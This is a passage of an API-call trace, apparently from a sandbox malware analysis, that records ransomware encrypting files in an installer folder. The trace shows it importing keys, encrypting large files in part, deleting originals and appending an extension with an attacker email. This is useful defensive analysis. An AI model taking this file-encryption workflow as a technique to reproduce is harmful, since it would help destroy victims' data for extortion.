	[0066.782] WriteFile (in: hFile=0x320, lpBuffer=0x34d6020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x310f6e0, lpOverlapped=0x0 | out: lpBuffer=0x34d6020*, lpNumberOfBytesWritten=0x310f6e0*=0xf2, lpOverlapped=0x0) returned 1
	[0066.782] CryptDestroyKey (hKey=0xbaa808) returned 1
	[0066.782] CloseHandle (hObject=0x330) returned 1
	[0066.782] CloseHandle (hObject=0x320) returned 1
	[0066.784] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico")) returned 1
	[0066.785] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x310f780 | out: pbBuffer=0x310f780) returned 1
	[0066.785] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0066.785] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x310f720 | out: lpFileSize=0x310f720*=1150) returned 1
	[0066.785] CloseHandle (hObject=0x320) returned 1
	[0066.785] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico")) returned 0x80
	[0066.786] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0066.786] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0066.786] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f6c0 | out: lpNewFilePointer=0x0) returned 1
	[0066.786] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f6c0 | out: lpNewFilePointer=0x0) returned 1
	[0066.786] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0066.786] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x310f678, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f6d4 | out: phKey=0x310f6d4*=0xbaa908) returned 1
	[0066.786] CryptSetKeyParam (hKey=0xbaa908, dwParam=0x1, pbData=0x310f780, dwFlags=0x0) returned 1
	[0066.786] ReadFile (in: hFile=0x320, lpBuffer=0x34d6020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x310f6fc, lpOverlapped=0x0 | out: lpBuffer=0x34d6020*, lpNumberOfBytesRead=0x310f6fc*=0x47e, lpOverlapped=0x0) returned 1
	[0066.844] CryptEncrypt (in: hKey=0xbaa908, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d6020*, pdwDataLen=0x310f698*=0x480, dwBufLen=0x480 | out: pbData=0x34d6020*, pdwDataLen=0x310f698*=0x480) returned 1
	[0066.844] WriteFile (in: hFile=0x330, lpBuffer=0x34d6020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x310f6e0, lpOverlapped=0x0 | out: lpBuffer=0x34d6020*, lpNumberOfBytesWritten=0x310f6e0*=0x480, lpOverlapped=0x0) returned 1
	[0066.846] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x310f66c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f6d8 | out: phKey=0x310f6d8*=0xbaa308) returned 1
	[0066.846] CryptSetKeyParam (hKey=0xbaa308, dwParam=0x1, pbData=0x310f780, dwFlags=0x0) returned 1
	[0066.846] CryptEncrypt (in: hKey=0xbaa308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d6020*, pdwDataLen=0x310f698*=0x50, dwBufLen=0x50 | out: pbData=0x34d6020*, pdwDataLen=0x310f698*=0x50) returned 1
	[0066.846] CryptDestroyKey (hKey=0xbaa308) returned 1
	[0066.846] WriteFile (in: hFile=0x330, lpBuffer=0x34d6020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x310f6e0, lpOverlapped=0x0 | out: lpBuffer=0x34d6020*, lpNumberOfBytesWritten=0x310f6e0*=0x102, lpOverlapped=0x0) returned 1
	[0066.846] CryptDestroyKey (hKey=0xbaa908) returned 1
	[0066.846] CloseHandle (hObject=0x320) returned 1
	[0066.846] CloseHandle (hObject=0x330) returned 1
	[0066.848] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico")) returned 1
	[0066.849] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x310f780 | out: pbBuffer=0x310f780) returned 1
	[0066.849] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\netfx_Core.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_core.mzz"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0066.849] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x310f720 | out: lpFileSize=0x310f720*=181483595) returned 1
	[0066.850] CloseHandle (hObject=0x330) returned 1
	[0066.850] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\netfx_Core.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_core.mzz")) returned 0x80
	[0066.850] MoveFileW (lpExistingFileName="\\\\?\\C:\\588bce7c90097ed212\\netfx_Core.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_core.mzz"), lpNewFileName="\\\\?\\C:\\588bce7c90097ed212\\netfx_Core.mzz.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\netfx_core.mzz.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 1
	[0066.851] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\netfx_Core.mzz.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\netfx_core.mzz.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0066.851] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f690 | out: lpNewFilePointer=0x0) returned 1
	[0066.851] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f690 | out: lpNewFilePointer=0x0) returned 1
	[0066.851] ReadFile (in: hFile=0x330, lpBuffer=0x34d6058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x310f69c, lpOverlapped=0x0 | out: lpBuffer=0x34d6058*, lpNumberOfBytesRead=0x310f69c*=0x40000, lpOverlapped=0x0) returned 1
	[0067.155] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x39b12c3, lpNewFilePointer=0x0, dwMoveMethod=0x310f690 | out: lpNewFilePointer=0x0) returned 1
	[0067.155] ReadFile (in: hFile=0x330, lpBuffer=0x3516058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x310f69c, lpOverlapped=0x0 | out: lpBuffer=0x3516058*, lpNumberOfBytesRead=0x310f69c*=0x40000, lpOverlapped=0x0) returned 1
	[0067.294] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0xacd384b, lpNewFilePointer=0x0, dwMoveMethod=0x310f690 | out: lpNewFilePointer=0x0) returned 1
	[0067.294] ReadFile (in: hFile=0x330, lpBuffer=0x3556058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x310f69c, lpOverlapped=0x0 | out: lpBuffer=0x3556058*, lpNumberOfBytesRead=0x310f69c*=0x40000, lpOverlapped=0x0) returned 1
	[0067.422] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x310f680, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f6ec | out: phKey=0x310f6ec*=0xbaa5c8) returned 1
	[0067.422] CryptSetKeyParam (hKey=0xbaa5c8, dwParam=0x1, pbData=0x310f780, dwFlags=0x0) returned 1
	[0067.422] CryptEncrypt (in: hKey=0xbaa5c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d6020*, pdwDataLen=0x310f6a0*=0xc0060, dwBufLen=0xc0060 | out: pbData=0x34d6020*, pdwDataLen=0x310f6a0*=0xc0060) returned 1
	[0067.423] CryptDestroyKey (hKey=0xbaa5c8) returned 1
	[0067.423] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f6c8 | out: lpNewFilePointer=0x0) returned 1
	[0067.424] WriteFile (in: hFile=0x330, lpBuffer=0x34d6020*, nNumberOfBytesToWrite=0xc0112, lpNumberOfBytesWritten=0x310f6d8, lpOverlapped=0x0 | out: lpBuffer=0x34d6020*, lpNumberOfBytesWritten=0x310f6d8*=0xc0112, lpOverlapped=0x0) returned 1
	[0067.437] SetEndOfFile (hFile=0x330) returned 1
	[0067.437] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0xacd384b, lpNewFilePointer=0x0, dwMoveMethod=0x310f698 | out: lpNewFilePointer=0x0) returned 1
	[0067.437] WriteFile (in: hFile=0x330, lpBuffer=0x359614a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x310f6a4, lpOverlapped=0x0 | out: lpBuffer=0x359614a*, lpNumberOfBytesWritten=0x310f6a4*=0x40000, lpOverlapped=0x0) returned 1
	[0067.439] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x39b12c3, lpNewFilePointer=0x0, dwMoveMethod=0x310f698 | out: lpNewFilePointer=0x0) returned 1
	[0067.439] WriteFile (in: hFile=0x330, lpBuffer=0x359614a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x310f6a4, lpOverlapped=0x0 | out: lpBuffer=0x359614a*, lpNumberOfBytesWritten=0x310f6a4*=0x40000, lpOverlapped=0x0) returned 1
	[0067.440] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f698 | out: lpNewFilePointer=0x0) returned 1
	[0067.440] WriteFile (in: hFile=0x330, lpBuffer=0x359614a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x310f6a4, lpOverlapped=0x0 | out: lpBuffer=0x359614a*, lpNumberOfBytesWritten=0x310f6a4*=0x40000, lpOverlapped=0x0) returned 1
	[0067.442] CloseHandle (hObject=0x330) returned 1
	[0070.012] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x310f780 | out: pbBuffer=0x310f780) returned 1
	[0070.012] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\netfx_Extended.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_extended.mzz"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0070.012] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x310f720 | out: lpFileSize=0x310f720*=43131591) returned 1
	[0070.012] CloseHandle (hObject=0x330) returned 1
	[0070.013] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\netfx_Extended.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_extended.mzz")) returned 0x20
	[0070.013] MoveFileW (lpExistingFileName="\\\\?\\C:\\588bce7c90097ed212\\netfx_Extended.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_extended.mzz"), lpNewFileName="\\\\?\\C:\\588bce7c90097ed212\\netfx_Extended.mzz.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\netfx_extended.mzz.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 1
	[0070.013] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\netfx_Extended.mzz.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\netfx_extended.mzz.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0070.013] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f690 | out: lpNewFilePointer=0x0) returned 1
	[0070.013] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f690 | out: lpNewFilePointer=0x0) returned 1
	[0070.014] ReadFile (in: hFile=0x330, lpBuffer=0x34d6058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x310f69c, lpOverlapped=0x0 | out: lpBuffer=0x34d6058*, lpNumberOfBytesRead=0x310f69c*=0x40000, lpOverlapped=0x0) returned 1
	[0070.438] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0xdb60ed, lpNewFilePointer=0x0, dwMoveMethod=0x310f690 | out: lpNewFilePointer=0x0) returned 1
	[0070.438] ReadFile (in: hFile=0x330, lpBuffer=0x3516058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x310f69c, lpOverlapped=0x0 | out: lpBuffer=0x3516058*, lpNumberOfBytesRead=0x310f69c*=0x40000, lpOverlapped=0x0) returned 1
	[0070.687] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x28e22c7, lpNewFilePointer=0x0, dwMoveMethod=0x310f690 | out: lpNewFilePointer=0x0) returned 1
	[0070.687] ReadFile (in: hFile=0x330, lpBuffer=0x3556058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x310f69c, lpOverlapped=0x0 | out: lpBuffer=0x3556058*, lpNumberOfBytesRead=0x310f69c*=0x40000, lpOverlapped=0x0) returned 1
	[0070.699] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x310f680, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f6ec | out: phKey=0x310f6ec*=0xbaa408) returned 1
	[0070.699] CryptSetKeyParam (hKey=0xbaa408, dwParam=0x1, pbData=0x310f780, dwFlags=0x0) returned 1
	[0070.699] CryptEncrypt (in: hKey=0xbaa408, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d6020*, pdwDataLen=0x310f6a0*=0xc0060, dwBufLen=0xc0060 | out: pbData=0x34d6020*, pdwDataLen=0x310f6a0*=0xc0060) returned 1
	[0070.701] CryptDestroyKey (hKey=0xbaa408) returned 1
	[0070.701] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f6c8 | out: lpNewFilePointer=0x0) returned 1
	[0070.702] WriteFile (hFile=0x330, lpBuffer=0x34d6020, nNumberOfBytesToWrite=0xc0112, lpNumberOfBytesWritten=0x310f6d8, lpOverlapped=0x0) 

Thread:
	id = 26
	os_tid = 0xfb0

	[0062.311] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x10000) returned 0x2f70098
	[0062.311] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x10000) returned 0x2f800a0
	[0062.312] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x28) returned 0x2721220
	[0062.312] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x110102) returned 0x35f1020
	[0062.315] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x50) returned 0x2728f40
	[0062.315] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x324fe90, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x324fef8 | out: phKey=0x324fef8*=0xbaac48) returned 1
	[0062.315] CryptSetKeyParam (hKey=0xbaac48, dwParam=0x1, pbData=0x324fee0, dwFlags=0x0) returned 1
	[0062.315] CryptDecrypt (in: hKey=0xbaac48, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2728f40, pdwDataLen=0x324feac | out: pbData=0x2728f40, pdwDataLen=0x324feac) returned 1
	[0062.315] CryptDestroyKey (hKey=0xbaac48) returned 1
	[0062.315] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000
	[0062.315] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30
	[0062.315] Wow64DisableWow64FsRedirection (in: OldValue=0x324ff44 | out: OldValue=0x324ff44*=0x0) returned 1
	[0062.315] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2728f40 | out: hHeap=0x2720000) returned 1
	[0062.315] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.315] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.316] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.316] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.316] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.316] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.316] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.316] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.316] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.316] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.316] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.316] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.316] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.317] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.317] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.317] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.317] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.317] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.317] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.317] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.317] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.317] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.317] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.317] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.318] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.318] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.318] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.318] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.318] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.318] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.318] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.318] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.318] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.318] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.318] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.319] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.319] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.319] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.319] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.319] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.319] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.319] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.319] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.319] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.319] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.320] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.320] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.320] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.320] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.320] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.320] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.320] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.320] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.320] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.320] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.320] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.321] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.321] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.321] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.321] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.321] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.321] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.321] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.321] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.321] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.321] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.321] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.322] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.322] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.322] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.322] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.322] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.322] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.322] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.322] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.322] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.322] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.322] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.323] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.323] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.323] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.323] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.323] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.323] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.323] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.323] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.323] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.323] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.324] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.324] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.324] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.324] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.324] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.324] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.324] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.324] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.324] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.324] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.324] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.325] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.325] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.325] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.325] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.325] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.325] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.325] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.325] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.325] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.325] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.325] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.326] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.326] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.326] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.326] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.326] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
